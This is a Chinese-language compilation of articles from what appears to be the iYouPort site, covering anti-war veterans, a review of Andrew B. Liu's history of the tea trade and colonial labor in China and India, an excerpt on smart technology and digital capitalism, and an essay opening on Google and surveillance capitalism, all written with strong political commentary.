但是，尽管军方负责人很努力地消除异议，他们也无法完全消除。事实上，越战老兵反战组织在21世纪也有其遗产 —— “伊拉克退伍军人反对战争 IVAW”。这是一个在伊拉克战争开始几年后成立的伊拉克老兵反战组织，明确地以越战老兵反战组织的活动为模式。IVAW最终成为了立场：“退伍军人反对战争” 是一个倡导团体，呼吁立即撤出在伊拉克的所有占领军。他们还主张对伊拉克人民进行赔偿，从而含蓄地要求政府公开认罪和悔过，而这种赔偿意味着，大多数军事和政治精英无疑已经决定，只有在他们的尸体上才会发生。

这些反战老兵面对的是越战时期遗留下来的对异议的病理化。正如一位反伊拉克战争的组织者所说的那样：“无论我们走到哪里，人们想谈论的都是所谓的创伤后应激障碍”。这是一个很有效的转移注意力的操作。但是，**IVAW**出现的事实本身就有助于打败关于病理化的有毒谎言。这种反战老兵团体的存在本身就向所有人宣布，明辨是非并不是什么精神病。〇

📌 您可以在这里下载这本书《*Dissenting POWs: From Vietnam’s Hoa Lo Prison to America Today*》

原文

茶杯里的风暴：殖民贸易及印度和中国的资本主义起源 - iYouPort

免费书和纪录片关于中国社会

iPhone11在印度生产的消息通过互联网新闻讲述了一个中印之间和美中之间带有浓郁民族主义色彩的竞争故事，但是，这似乎听起来有点耳熟 ……

「图」

「图」

A tea plantation in colonial Assam. | Wikimedia commons.

英国近代史的观察者们会知道，早在茶成为普通成年人基本认知功能的驱动力之前很久，它就已经成为了一种阶级标志。

十八世纪英国社会的上层人士，第一次接触到茶叶这种来自中国的异国情调的东西时，他们对这种象征他们的社会优越感的东西保持着敏感；那个时期的漫画描绘了精英们在高级茶叶聚会上啜饮、品尝和鉴赏这种东西。

英国的中产阶级和上层阶级应该自由地放纵自己，《The Good and Bad Effects of Tea Consider'd》一书的匿名作者在1745年写道，“地位低下和能力卑微的人” 应该被剥夺对茶的享受。

「图」

「图」

上图中这本书在这里下载：https://www.patreon.com/posts/43883786

茶叶在英国的社会角色随着时间的推移发生了变化；随着几十年过去，茶叶越来越多地进入了社会的主流。

随着该产品的大众化，消费量从18世纪中叶的每人三分之一磅增长到19世纪中叶的1.5磅。贸易（主要是东印度公司的领域）为了满足这一需求而扩张。

这是茶的故事之一。但还有第二个鲜为人知的故事，它揭示了世界上一个完全不同但又紧密相连的部分，另一段阶级、资本和不平等的历史。

“如果不考虑茶叶的地位，就很难讲述中国或印度的现代资本主义史”，Andrew B. Liu 在《茶叶之战：中国和印度的资本主义史》中写道。但这句话的推论同样引人深思：如果不考虑中国或印度的地位，就很难讲述一部现代资本主义史。

自16世纪以来，英国、荷兰和其他欧洲商人一直在安徽、福建等地开发中国的种植园。只要茶叶还是小众商品，对它的需求就很稳定。

但随着十八世纪茶叶在欧洲的普及，十九世纪初茶叶的价格开始飙升，中国沿海地区的种植园主能够将茶叶的价格定得越来越高，迎来了茶叶商品的黄金时代。

英国人无法说服中国商人用他们的茶叶来换取其他英国产品，于是就采用从印度走私鸦片的方式来积累所需的白银。

两次鸦片战争不久后，外国对中国的渗透 —— 包括经济和文化的渗透 —— 不断加深。正如 Liu 引用的一位学者所说，如果没有英国、印度和中国之间的鸦片和茶叶的三角贸易，“可能就没有大英帝国”。

19世纪末，中国在茶叶贸易中的霸主地位开始动摇。这是因为英国人在印度东北部阿萨姆地区经营的种植园，随着1837年第一个茶园的建立而生根发芽，并不断扩大。

竞争意味着中国茶叶的价格开始下降，为了满足日益增长的需求，产量也随之提高。同时，工人们也受到了影响。

几个世纪以来的旧做法，被越来越急躁的中国商人重新用于追求利润的生产，为欧洲人服务。农民曾经只需要以满足全球需求的速度来烘烤、制作和筛选茶叶，现在却要用新的方式来衡量和调节花在专业工作上的分钟、小时和天数。

劳动密集型的制茶工作因此被赋予了更多的辛劳，现在再加上对时间的重视，其结果是西方资本主义生产力所必需的 “定时劳工” 同时在中国出现。

随着欧洲的需求不断上升，与阿萨姆邦的竞争不断加深，中国的种植者“表现出完全属于现代资本主义史中所呈现的那种社会动力”，Liu 写道。

由于对生产力的执着，他们“严格衡量每项任务所需的时间，设计指令以尽量减少人的活动所浪费的时间，并使用计件工资制度来激励员工在身体能力最大化发挥的情况下努力工作。”

一位历史学家描述了面对崛起的阿萨姆邦，压在中国挑夫身上的这种新的劳动制度：

> 这些中国苦力每晚最多只能睡三到四个小时。在山上满是成熟的茶叶的日子里，工人们连续几个晚上都不能睡觉。他们一生的辛酸可称为极端。

来自中国以及后来的印度种植园在十八世纪和十九世纪的描述，为理解跨国竞争在推动当地劳动实践的不同演变中所扮演的角色提供了一个工具。

但对于在维拉诺瓦大学教授历史的 Andrew B. Liu 来说，这里还发生了别的事。对资本主义起源故事的流行叙述框架 —— 认为资本主义始于西北欧，然后蔓延到世界其他地区 —— 并不适合对南亚和东亚种植园生活进行更仔细、更有质感的考察。

他写道，近几十年来，研究者们已经意识到，“世界市场对违背原有模式的积累模式的依赖程度”。该地区的茶叶生产讲述了一个跨国竞争的故事，它孕育了远在西北欧之外的资本主义。如果把在印度和中国演变的各种社会经济安排排除在外，就会像 Liu 引用 Jairus Banaji 所说的那样，使“资本主义的大片历史无法解释，蒙上了一层神秘的色彩”。

「图」

「图」

“Picking up tea boxes and carrying them away” (c. 1800). | The New York Public Library.

这本书所提供的反叙事，有一个经过深入研究和令人钦佩的理由，要求我们改变认为西方作为现代世界主导经济模式的发源地的理解。

摘自种植园生活的第一手资料 —— 甚至是印度和中国作家的小说

—— 都被用来激励 Liu 进行的有时是比较密集的理论分析。

中国种植园劳动制度的变化过程，说明种植园主为了保持对阿萨姆邦的优势，采用了越来越残酷的手段以组织和约束劳动力。但是，Liu 在书中关于印度东北部那个被殖民官员首次遇到的 “巨大的芦苇丛林……孕育着发热的瘴气和死亡” 的章节，才让人明白殖民工程的残酷性及其在早期资本主义企业中的重要作用。

1823年，苏格兰人 Robert Bruce 在布拉马普特拉河上游河谷看到野生茶叶生长，他的这一发现使殖民统治者首次意识到阿萨姆邦的农业潜力。意识到打破中国在贸易上的垄断将带来的非凡收益，政府迅速着手在那里发展种植园，并在1838年将第一批阿萨姆茶运往伦敦。

到1853年，每年从印度运来的茶叶接近200吨；30年后，这个数字超过了3.2万吨。

由于阿萨姆邦有可能超越中国成为世界上最主要的茶叶生产地区，而且茶叶现在已经成为殖民经济的重要组成部分，那里的种植园几乎开始成为印度工人的大规模繁殖地。

英国种植园主深知重现乡村家庭生活条件的好处，因此他们推出了积极的生育政策 —— 生育津贴、生孩子的奖金 —— 以便种植园人口能够自我繁衍。

此外，在十八世纪的最后几十年里，从印度中部引进了**50**万移民来补充劳动力。采摘工人往往是低种姓的，他们的工资是由法律规定的，这意味着随着需求的增加和工作的加剧（殖民者的利润也相应增加），而这些工人的收益并没有提高。

种植园的盈利能力在很大程度上归功于种植园主能够给采摘工支付如此之少的事实：每月仅仅5卢比，与阿萨姆邦其他地方的自由农民农业工人相比，他们的工资少得可怜。

Liu 引用了保守派东方学家 William Nassau Lees 的话，他是阿萨姆邦新兴的大规模契约劳工制度的倡导者，他认为印度人口是一双无暇顾及、容易被胁迫的手，只要稍加努力，就能向英国提供维持其帝国生存所需的资本。

Lees 评论说：“少年阶段的印度土著人”，他们可以 “在妄想的驱动下被诱骗出家门”，从黎明到黄昏不断地采摘和加工茶叶。廉价的、被严格控制的劳动力的扩张，让英国种植园主在十九世纪末又开辟了十

七万亩的种植园土地。到20世纪初，阿萨姆邦的茶叶产量已经超过了中国，可以说成为了英属印度最大的私人部门，创造了天文数字的利润。

阿萨姆邦的种植者 Samuel Baildon 写道，“贸易竞争，已经变得如此激烈 —— 几乎是自杀性的。”

「图」

「图」

上图中这本书在这里下载：//https://www.patreon.com/posts/yong-hou-ji-qi-39199047//

一直以来，阿萨姆邦的英国种植园主都以生产预期上升为由，要求印度政府通过立法，加强对劳动力的控制。

从1863年到1882年，印度出台了一系列劳动契约法，将劳工的违约行为作为犯罪行为进行惩罚。

惩罚性劳工制度将采摘工人与种植园捆绑在一起，随着茶业贸易的飞速发展，与美国南方动产奴隶制的相似之处也越来越明显。

潜逃的劳工会被一群“野蛮人”追捕，只需要支付5卢比，以捕获“逃跑的苦力”并将其送回种植园 —— 这种做法在1865年甚至得到了法律的认可。

鞭打犯错的或罢工的工人是很常见的。Liu 指出，法律学者 Robert Steinfeld 的研究认为，较自由的市场积极地产生了不自由劳动的制度，

Liu 写道：

> 阿萨姆茶叶的故事清楚地表明，大都会资本积极地资助了殖民地劳工契约的兴起，就像近代文献所证明的伦敦和北美银行是如何资助美国南方奴隶制的一模一样。

大都会资本并不是维持种植园劳工制度的唯一合谋力量，来自阿萨姆邦的利润也是二十世纪初印度日益高涨的民族主义运动的尴尬之源。

虽然这些利润实现的手段 —— 即 公然剥削数十万印度工人 —— 让

所谓的进步人士感到很不舒服，事实上也遭到了许多人的抵制，但是，他们默默地知道，这种贸易所产生的财富对于继承一个新独立国家的精英们来说是很有价值的。

“我们一直被当作砍柴工和汲水工；我们不被允许发展我们的工业，我们被我们的外国主人所剥削，为他们的国民谋取利益”，著名的民族主义者 Bipin Chandra Pal 说。

但是，他又说，“在英国剥削的乌云中，最明亮的一线是茶业，这是印度从外国统治中获得的幸运遗产。”

即使是甘地 —— 阿萨姆种植园工人在20世纪20年代初以他的名义进行罢工 —— 他也在口头上与罢工者保持着距离，在一次访问该邦时，他只与英国种植园主会面。他的国大党领导层仍然不愿意参与在阿萨姆邦看到的那种基于阶级的反抗动员，因为担心外国资本会逃跑。

「图」

「图」

Overseer at a tea plantation in colonial Assam handing out wages (c. 1903). | National Museum of Natural History

Liu 以丰富的篇幅叙述了一种最初是奢侈品的商品在塑造现代经济秩序的关键时期对国际关系产生的巨大影响。《茶叶之战》完全符合时下流行的 “商品史” 类型，即 用一种物品在全球地位的变化来讲述人类与世界和彼此关系的宏大故事，它的目标读者显然是学术界人士；而那些详细探讨两国经济史的段落，则有可能失去普通读者。

然而，总体而言，从对印度和中国种植园工人当地经历的考察，到对这本书中心论点的阐述，Liu 巧妙地进行了伸缩：如果我们仍旧固守在盎格鲁中心主义、技术主义的观点中，我们就会难以理解统治当今世界的经济模式是如何产生的。

对资本主义起源的正统解释的问题不仅仅是它给予了西方特权；相反，它同时贬低和否定了西方以外的所有情况，而没有进行适当的审查。

我们已经认识到资本主义的早期生活 “等同于高度的技术复杂性和一套建立在自由劳动基础上的特定阶级关系，并且首先是在英国”， Liu 说。但在印度和中国，随着茶叶贸易竞争的加剧，劳动和资本的面目

发生了变化，这说明了另一个故事。

那里没有工业革命，没有机械化生产，至少在后来的改革之前，也没有自由劳动力。相反，这两个国家展示了“中国所谓的独立农民家庭和印度不自由的契约工人，无论机械化程度如何，都是作为横跨全球的资本积累过程的一部分来生产经济价值的”。

阿萨姆邦的至高无上地位并没有在二十世纪延续下来。中国现在是世界上最大的茶叶生产国，每年产量超过两百万吨。虽然英国对这种饮料的胃口并没有减少，但中国的胃口却越来越大 —— 现在中国的产量中有很大一部分用于满足本国中产阶级的需求。

印度的情况也是如此。如今，人们对被剥削工人生产的茶叶也失去了容忍度。随着公平贸易和其他标准的主流化，人们对种植者施加压力，要求他们改善采摘工人的待遇，这使得工人的权利得到了一定的改善。

但是，正如《茶叶之战》所表明的那样，某些事确实是成立的。两个世纪前，印度东北部的茶叶产区，以及在较小程度上中国的茶叶产区，对维持欧洲扩张主义国家的经济发展至关重要。

这种依赖关系如今并没有改变，今天，亚洲占了世界制造业的绝大部分。据估计，仅在一家中国制造工厂 —— 为苹果等公司提供产品的深圳富士康 —— 工作的员工人数就在23万至45万之间。

- 富士康《百忧解时代（三）令人沉迷的广义化自杀》

社会学家 W.E.B. Du Bois 知道“在中国、印度、南海和整个非洲有一片黑暗而广阔的人类劳工海洋 …… 今天，现代工业的基石就寄托在这些人弯曲着的伤痕累累的脊背之上”。

他在近一个世纪前所描述的这些悲惨的劳工如今仍然存在，尽管现在这些人被隐藏在工厂的围墙后面。

在那里，男人和女人，其中许多是移民，在条形灯下，一排排无休止地轮班工作，生产大量的 iPhone 和其他曾经奢侈、而现在必需的商品，销往海外。就像过去的茶叶种植园那样，为维持与西方客户的合同而展开的激烈竞争 —— 这种竞争是以提高生产力以换取降低工资的完全非人道的计算方式赢得的，并得到了那些对弱势工人漠不关心的政治领导人的怂恿 —— 使亚洲经济在这种竞赛中陷入长年的低谷。

“资本，从头到脚，每一个毛孔，都流淌着血和污垢。”在一个半世纪前写下的文章中，马克思一只眼睛盯着欧洲，另一只眼睛盯着殖民地，但今天的情况和当时一样真实。种植园生活的严酷性的描述与21世纪工厂的描述令人不安地相似。资本主义，至少一路走来保持着它的一致性。〇

“Storm in a Teacup” by Francis Wade, a journalist and author of Myanmar’s Enemy Within: Buddhist Violence And The Making Of A Muslim ‘Other’.

原文

被流行语掩盖着的 *技术专制主义* 时代 - iYouPort

免费书和纪录片无处不在，无处可逃-所谓的“智能”是什么

技术本身就是一种政治现象。换句话说 技术本身就类似于一种立法形式 ……

本文来自一本新书的节选，《Too Smart: How Digital Capitalism Is Extracting Data, Controlling Our Lives, and Taking Over the World》您可以在这里下载这本书：《当下抵御反乌托邦的斗争为什么在很大程度上无用》。

「图」

「图」

您可以轻松地将所有愚蠢的东西换成所谓的智能替代品。智能现在正成为新常态。您甚至不必寻找它。“升级” 将在您家里、您的工作场所、您居住的城市中全面出现。

智能雨伞会亮起，提醒你天气预报说有雨；智能汽车在高峰时段接管了繁重的驾驶工作；智能的虚拟助手服从你的每一个命令，了解你的喜好和习惯，并自动做出相应的调整 …… 几乎一切 —— 无论是手里的梳子还是居住的城市 —— 几乎可以肯定有一个智能版本，甚至多个版本可供选择。

人们并不总是清楚为什么要把那些普通东西变得 “智能”，但这并没有阻止所谓的智能在社会中的传播。很多时候，它看起来很傻，且没有必要，甚至令人讨厌、毛骨悚然。但任何事物、任何空间，都无法避免智能化的影响。

除了表示所谓的 “高科技” 之外，智能的东西到底意味着什么？现在这个标签被胡乱贴上，所以定义并不总是清晰和一致的。但是，有一个更好的、简单的定义，那就是：“智能” 意味着一个东西被嵌入了数字技术，用于数据收集、网络连接和加强控制。

以智能牙刷为例，它使用传感器来记录你刷牙的时间、时间长短和刷牙效果。由于智能牙刷具有蓝牙功能，并嵌入了软件，所以它会将这些刷牙数据发送到制造商或第三方所拥有的云服务器上。

然后，你和你的牙医可以通过一个应用程序来获取数据，该应用程序为“用户提供实时的刷牙指导和性能监测”，为你的日常牙齿卫生评分——正如市场上一款智能牙刷所宣称的那样。

根据您的牙科保险计划，您获得的卫生评分也会直接影响您的月保险费。

被认为刷牙“好”的人可以得到折扣，而被认为刷牙“不好”的人则会受到惩罚。一个诚实的广告语可能是：“有了智能牙刷，我们知道你嘴里发生了什么！”

这些“被施了魔法的物体”，就像麻省理工学院媒体实验室的一位企业家所说的那样，“会对人们的需求做出反应，来了解人们，甚至学会代表人们提前思考。”【简单说就是操纵你】

虽然智能科技的奥妙可能让人觉得就像一种能够施展数字法术的神奇魔法，但我打算打消任何认为我们居住在迪斯尼幻想曲的魅力城堡中的想法。如果有的话，它更像是 Sabrina 中的恶魔世界，每一个咒语都是有代价的，意想不到的后果比比皆是。

所谓的智能科技所提供的适度便利，换来的是我们对为什么现在的生活中充斥着收集数据、连接互联网的机器的太多疑问。为什么现在所有的东西都变得“智能”了？背后还发生了什么？谁才是真正的受益者？

时不时发生的丑闻——当一家公司被发现令人毛骨悚然地追踪人们或其数据库被黑客攻击时——足以让我们将集体的嘲笑集中在一个特定的问题上，但是，它通常不足以刺激更深入的批判性探索。丢脸的公司会发表假惺惺的道歉声明，然后一切都会被原谅——如果不是明确的话，当我们忘记了侵犯行为或者只是习惯于侵犯事件时，一切都会被有效地原谅。而再次允许它们回到它们的常态。继续操纵人们按照计划购买、使用和升级。

- 为什么当下的反抗模式是无效的《我们遗落的骨骸》

智能科技被当作不可避免的下一代技术来销售。

你可能会选择不主动升级，但是最终依然很可能做出选择。智能化过

去是高级选项，而现在却成为了标准配置，所有东西都默认集成了传感器、计算能力和Wi-Fi连接。这不仅仅是我们现在对新的小工具所期待的“功能蠕变”，即更多的按钮和设置被塞进同一个电器中。智能科技的迅速崛起 *并不* 仅仅是消费者要求更智能的东西、更智能的家庭和更智能的城市的结果。

相反，在某些技术的制造和使用方式上，企业和政府的利益比消费者的选择更具影响力。让事物变得智能是一门大生意：到2020年，仅智能城市领域的市场价值预测 —— 还不包括住宅、办公室和消费品 —— 就徘徊在1万亿美元左右。

虽然一些市场研究公司看好 —— Frost & Sullivan 预测智能城市的价值为1.56万亿美元，但即使是保守的预测也往往在5000亿美元以上。

研究公司 Gartner 预测，全球正在使用的“联网物品”数量将继续呈指数级增长，从2017年的83亿增加到**2020**年的**204**亿。媒体对智能科技的报道往往陷于对酷炫小玩意的盲目兴奋和对隐私和网络安全威胁的无知之间。

- 详细介绍见 列表-2“所谓的智能究竟是什么”
- 《被俘虏的城市：为什么人们会接受可怕的军管？》

智能科技的影响太重大、太普遍了，不应该如此老生常谈。对智能科技及其创造者采取被动、浅薄的立场是一个严重的错误。智能科技正在形成的不仅仅是一种趋势。它已经成为我们生活和社会中一种无孔不入的强大存在。

因此，它被标记为一种急需批判性分析的技术范式。如果我们不把它当回事，那就太不负责任了。

重要的是要明白，技术过程的每个阶段 —— 从设计到使用 —— 都充满了政治性，甚至源于政治。这并不是呼吁将技术政治化，而是强调将技术从政治关注和后果中移除的想法是完全错误的。

这是在呼吁人们认识到：政治一直是、并将继续是技术的一个重要组成部分。我们应该从利益、必要性和影响三个方面来分析新兴智能社会的技术政治。简而言之，我认为有三大技术政治点。

- 智能技术提高了公司技术官僚权势的利益，超越了人类自治、民主权利等其他价值观。
- 智能技术受到数字资本主义双重要求的驱动：从潜在的所有人

中提取数据并扩展其控制范围。
- 在扎克伯格的意义上，智能技术的影响是浮士德式的所谓便利和连接性交易，以换取各种（意外）和（未知）的结果。

【技术公司鼓吹的便利性究竟是什么？《便利的暴政》】

「图」

「图」

技术是实现利益的一种方式。技术远非客观或中立，而是蕴含着价值和意图。技术毕竟是人类决策和行动的结果，然后被人类带着动机和目的使用。

正如社会科学家、历史学家和工程师数十年来的仔细研究所表明的，任何技术的存在都不是必然的，所有技术都是由社会过程形成的。每一项技术的背后都有一堆人类的选择，比如应该解决什么问题，应该如何使用资源，人们为什么要使用这个东西，应该在哪里进行权衡，以及许多其他的选择，这些选择归根结底是做X而不是Y或Z，即使有很好的理由做出这些决定，它们仍然是基于一定的动机、原则、价值观、目标等等。

因此，这不是一个技术是否政治性的问题，而是：政治是什么？

著名的技术政治学理论家 Langdon Winner 认为，“技术本身就是一种政治现象”。这不仅意味着技术是一种需要立法来规范其生产、特征和使用的东西。它意味着技术本身就类似于一种立法形式，因为“技术形式确实在很大程度上塑造了我们这个时代人类活动的基本模式和内容”。

不管是指制定政策还是建设技术，有什么能比一些人拥有决定其他人如何在世界上生活的权力更具有政治性的呢？

法律制度是一套规则，规定什么是被允许的，是人们拥有什么权利的框架，是我们将生活在什么样的社会中的计划。而技术系统以不同的方式做同样的事。它们是一套关于什么是被允许的和不被允许的规则，关于人们有什么和没有什么权利的框架，以及关于我们将生活或无法生活在什么样的社会中的计划。

技术就像立法：有很多技术，它们做的事不尽相同，有些更重要，但作为一个系统，它们共同构成了社会的基础。

即使是最专制的独裁者，也无法像计算机执行其代码那样严格和一贯地执行法律条文。就像法律一样，技术被精英集团所利用，以提高他们自己在世界中的地位、操纵大众对世界的看法。

如果说技术是一种立法形式的话，那么我们就必须审视那些立法者。他们不仅仅是制作更好的机器的工程师，测试新设计的创新者，或者大胆冒险的企业家；他们是技术官僚，创造着塑造社会和管理人们的系统。

如果忽视智能科技的政治，我们就会让强大的利益集团驻扎在阴影中，对我们的生活施加可怕的影响。

在实证研究的支持下，政治学家们一致认为，美国现在已经不是民主国家，而是一个寡头制国家。普通民众对哪些政策被付诸法律几乎没有任何发言权，而富豪精英的喜好几乎总是得到政策的支持。

不止美国。不仅在许多其他国家都可以看到这种政治上的不平等，而且制定政策的寡头与创造技术的寡头几乎完全一样。技术的设计和开发由少数人主宰，而世界上的其他人则必须忍受这些决定。当公民被剥夺了影响政治进程的权利、当他们被排除在有意义的投入和追索渠道之外时，我们理所当然地应该称这种政权为独裁政权。

「图」

「图」

两个主要且必要的条件推动了智能技术的设计、开发和使用，那就是：收集和控制。

利益是关于谁的价值和声音能被包含在内，而要务则是关于影响更深、范围更广的总体原则和目标。例如，利益动机是资本主义的必要条件，它推动企业实现利润最大化，通常是首要或唯一的必要条件。理解这些必要条件以及它们如何通过智能技术表现出来，将揭示出许多关于技术政治在社会中如何运作的问题。

收集的迫切性在于，通过任何可能的手段从所有来源提取所有数据。它迫使企业和政府在任何地方收集尽可能多的数据。就像你知道企业以利润为导向一样，现在您理应明白他们以数据为导向。这就是为什么如此多的所谓智能科技都是为了吸纳数据而生的。

对于许多行业来说，数据是一种新的资本形式，因此他们一直在寻找和利用新的方式来积累数据。

控制的必要性在于建立监视、管制和操纵整个世界和人的系统。它的代表是孜孜不倦的监控系统，帮助企业和警察管制人群、控制访问准入、并改变人的行为习惯。

正是在这种权力的需求导致到处都嵌入了传感器，一切都与互联网相连，并依靠自动化来监视这一切。智能科技的建立是为了扩大和增强控制的权力，无论是通过软件应用对物体的远程控制，还是通过算法分析对人群的社会控制。

关键的问题不是控制本身，而是谁对谁有控制权。

收集数据需要技术能力和社会权威来探测事物、人和地方；控制系统以数据为动力，可以更精细、更有效、更即时地指挥这些事物、人和地方。智能科技就是这两种需求的后代。

很难低估这些必要条件对智能科技设计和使用的影响，它们表现在广泛的应用、空间和规模中；这包括从机器人吸尘器秘密绘制用户的家庭地图，以便其制造商可以将这些“丰富的地图”出售给其他公司，到保险公司监控人们的驾驶、运动和饮食方式，以便他们可以奖励一些行为并惩罚其他行为。

【和中国的“社会信用评分”没有本质区别，都是以极少数人的价值观为标准对绝大多数人进行奖惩和操纵】

作为必要条件，收集和控制并不是新东西。我们生活在资本主义之下，这些必要条件从一开始就是资本主义的组成部分。

- 《全球资本主义》

关于资本主义如何以不断创新的方式来获取利润并对一切 —— 社会与自然、人类与非人类、心灵与身体 —— 行使权力的研究，足够装满整个图书馆。我在这里的目的是要说明在数字资本主义和智能科技时代，这些双重要求是如何运作的。然后，我们可以理解所谓的智能科技是如何、为什么以及为谁设计的。我们可以确定影响技术发展的趋势和主题。我们可以对近期的前景做出明智的预测 —— 如果我们继续沿着同样的道路前进的话。

智能科技已经变成了病毒式的传播 —— 几乎在社会的所有空间和生活的各个部分都在传播、感染、复制、颠覆和繁荣。

技术和文化学者 David Golumbia 和 Chris Gilliard 在2018年初写了一篇文章，总结了许多“荒唐”的科技公司入侵我们的个人生活、影

响我们的行为、无视我们的利益、和强制执行自己的价值观的方式。

以下只是他们一长串例子中的几个样本：一个营利性服务跟踪和销售处方数据；一个应用程序被提议在社交媒体上“观察”自杀意图；一家振动棒制造商跟踪用户的性生活，但隐瞒它正在这样做的事实；一所学校利用其分发的笔记本电脑中的摄像头来监视学生 ……

尽管它们都有着所谓智能的标签，但不同类型的智能科技往往被当作是（完全）相互独立的。佩戴的智能手表、您家的智能家居、和您居住的智能城市很少被放在一起审视。很多人认为与其把它们作为一个统一系统的碎片来分析，不如把这些联系割裂开来，好像在不同地方运行的智能科技在某种程度上是不相关的。

这是具有讽刺意味的，因为像思科和谷歌这样的许多大型科技公司的明确目标是将所有的东西和每个人都接入一个单一的巨型网络 —— 一个“系统的系统” —— 当然，这个系统是由他们构建和控制的。IBM将他们的项目称为“Smarter Planet”，他们大胆地宣称“这不仅仅是一个新战略的宣布，而是一种新的世界观的宣示”，从而相当清楚地显示了他们的野心范围。

有一些共同的利益和需求影响着不同类型、规模和空间的智能技术的设计和使用。换句话说，我们不应该把这些技术看成是独立的、不相关的，而是应该把它们看成是一个强大的、并且仍在继续强化的数字资本主义技术政治制度的一部分。只有这样，我们才能真正地应对它们对社会的影响。〇

原文

谷歌控制的世界和监视资本主义 - iYouPort

免费书和纪录片关于谷歌-监视资本主义的创始人监视资本主义的世界

这肯定不是一个谷歌的问题，更不是一个“Dragonfly”的问题，而是关于这个互联网究竟是什么。您肯定记得 IYP 不是第一次讨论这个问题，本文中关联的“延伸阅读”资料能很好的帮助理解。简而言之，我们并不是在反对谷歌或者 Facebook 或者哪家巨头企业，而是整个监视资本主义体制本身。解决问题的前提是尽可能深度地理解问题，现在开始还不晚

我们在与其他国家的倡导者交流的过程中最经常出现的对话就是“哎呀，完全一样”。是的，中国社会被认为是“典型”的诸多弊端、以及当局丰富的维稳手段，事实上并没有任何特殊，这些状况在很多国家都是如此。唯一不同的是我们有没有信心作出突破。

这是一场人权vs“便利性”的竞技。大众往往只关注“是不是好用”，当巨头们提供的技术真的能让人们体验到便利性的时候，我们对隐私人权的呼吁就会被漠视。如果您了解东南亚国家的用户是如何广泛地钟情于中国的盗版电影而使用迅雷下载＋360，也许就能理解人权vs“便利性”这场竞技的难度。

还是那句话，隐私倡导者应该从思考方式角度入手，改变监视资本主义误导给人们的“用隐私交易便利性”的思考方式，普及攻防角度的思考方式，让人们更多了解监视者和攻击者是如何做的，就如渗透测试提供给我们的帮助那样。这一切的基础是充分理解监视资本主义本身。

作者 Julian Vigo 是一位学者、电影制片人和人权顾问。以下是她的文章。

多年来我一直关注英国的“ 调查权力法案”（也称为“骗子宪章”）和荷兰的 Sleepwet 丑闻，以及它们与私人数据、隐私、数据收集、监视和言论自由等政府实施的权利侵犯之间的关系。我深刻地认识到谷歌

侵犯了我们的生活权利，包括受到大多数国家法律保护的言论自由，更不用说今天全球通用的欧盟和联合国宪章。

当互联网在 20 世纪 80 年代后期成为通信和研究的工具（当时通常是通过大学和研究机构）后来在1991年通过商业互联网服务提供商（ISP）向公众投放时，大多数人都很难接受。

最初，由于我是纽约大学的研究生，我开始依赖他们的计算机实验室制作论文，从而接触了互联网文化。在 ViolaWWW 发布之前，我还记得 Archie，Telnet 和行模式浏览器。

到20世纪90年代中期，学生们对通过 Memex 和 Xanada 的超文本感到好奇，而其他许多人则通过在线或离线指令制作了他们用 html 写的个人网页。 当时一切都是临时的，个人想弄清楚如何摆弄 HTML 就好像20世纪晚期的 Mini Cooper。

那是互联网的黄金时代，任何事都可以接受，包括具有美学挑战性的旧式图形，以及简单的布局，重复的背景图像，无视任何描述。那个时代才是网站完全关于内容的日子。即使在20世纪90年代中期，大多数企业还没有抓住互联网的潜力进行营销、公共关系和广告宣传。

宣传所需的资金仍然主要通过传统模式发挥作用，当公司认为人们不会将互联网用于商业时，更不用说研究了。

1995 年，当 NSF（国家科学基金会）开始收取注册域名的费用时，只有120,000个注册域名。到 1998 年，这个数字上升到 300 多万。虽然亚马逊于1994年创立，但 eBay 的诞生在一年之后终于开启了电子商务时代。

那会仍有大多数企业没有积极地将互联网纳入他们的结构中，并且建立网站的成本甚至不是大多数人的事后想法，因为互联网是我们许多人经营的小规模方法。我当时正在攻读博士学位，我发现了自己学习计算机语言的能力，我能够为朋友做志愿者，甚至开辟了生活写作网页和制作早期电子商务网站的机会。随着越来越多的企业和个人意识到互联网的潜力，随着我们迈向新千年，曼哈顿的网页设计师迅速变得炙手可热并收入丰厚。

直到2000年，互联网的存在对于大多数人来说是虚拟百科全书、新闻参考、信息中心和检索电影的时代。甚至还有早期的 Skype 原型和 ICQ 信使，其中点对点通信被认为是一种新奇的事物。我在 Park Slope 的公寓里第一次上网，跟一个住在乞力马扎罗山脚下的人说

话。互联网是一条信息高速公路，不受监管，并且考虑到它非常灵活，正在慢慢取代各种技术。

然而，自9/11事件以及最近围绕一系列文化战争的出现，我们看到全球政府从新千年开始以来如何制定各种法律举措以加强监视，使政府能够对其所有公民进行间谍活动。

美国完全可以被视为这类监视立法的煽动者，声称是为了“保护国家安全”，而实际上所做的完全不同。在9/11事件发生后的45天，臭名昭著的“爱国者法案”（Patriot Act）诞生了，这项立法导致美国境内超过 14,000 名穆斯林男子失踪。

“爱国者法案”使得美国政府更容易通过政府自己签发的国家安全信函（NSL）来监视其公民，而无需法官签字。爱国者法案给麦卡锡主义带来了新的转机，因为它将法律的权力交给了43,000名执法人员，他们可以访问通过 NSL 收集一切电话记录。

虽然今天大多数人都意识到了 Edward Snowden 和 Julian Assange 的工作的重要性，他们努力挑战当权者对其公民实施的非法间谍活动已经引起全球关注，但许多人不记得的是，全球反恐战争（GWOT）煽动了大部分法律的诞生，这些法律赋予国土安全部巨大的权力，后者在 INS（移民和归化局）中大量涌入，并将移民置于与“恐怖主义”相同的范围内。

从美国到欧盟，最近几个月来有一件事变得非常清楚：言论自由、信息自由和隐私都受到了 **Facebook**，**Twitter** 和谷歌等大型科技公司的威胁。事实上，这些公司远远超过了国家安全局（**NSA**）或英国政府的头号间谍机构 **GCHQ**。

Snowden 曾经多次提及他和他在国家安全局的同事至少受到某种程度上的民主监督，而像谷歌和 Facebook 这样的公司完全不受监督，正如我们最近看到的扎克伯格在今年春天向国会作证时所表现的那样。将资本主义与监视完美结合的商业模式完全可以肆意妄为。

2014年，John Bellamy Foster 和 Robert W. McChesney 在“每月评论”中引入了“监视资本主义”一词，这是一份独立的杂志，两位研究人士从战后建筑中解释了监视资本主义的开端，将麦迪逊大道集中的企业营销革命中的销售工具与五角大楼领导的永久性战争相结合思考，冷战一方面是武器和虚构的核军备竞赛，另一边是购物狂潮。“军事工业联合体”和社会营销构成了两个主要的盈余吸收机制，直到**20**世纪**70**年代的金融危机开始时，增加了第三个盈余吸收载体：在前两种

机制减弱的情况下补充系统的金融化：

- 延伸阅读：关于什么是“军事工业联合体”及其内幕《Spies for Hire》
- 真正做政治决策的是情报机构而不是白宫《United States overseas operations: Role of CIA—Jacob G. Hornberger》
- CIA 如何创造谷歌间谍全球《How The CIA Made Google》
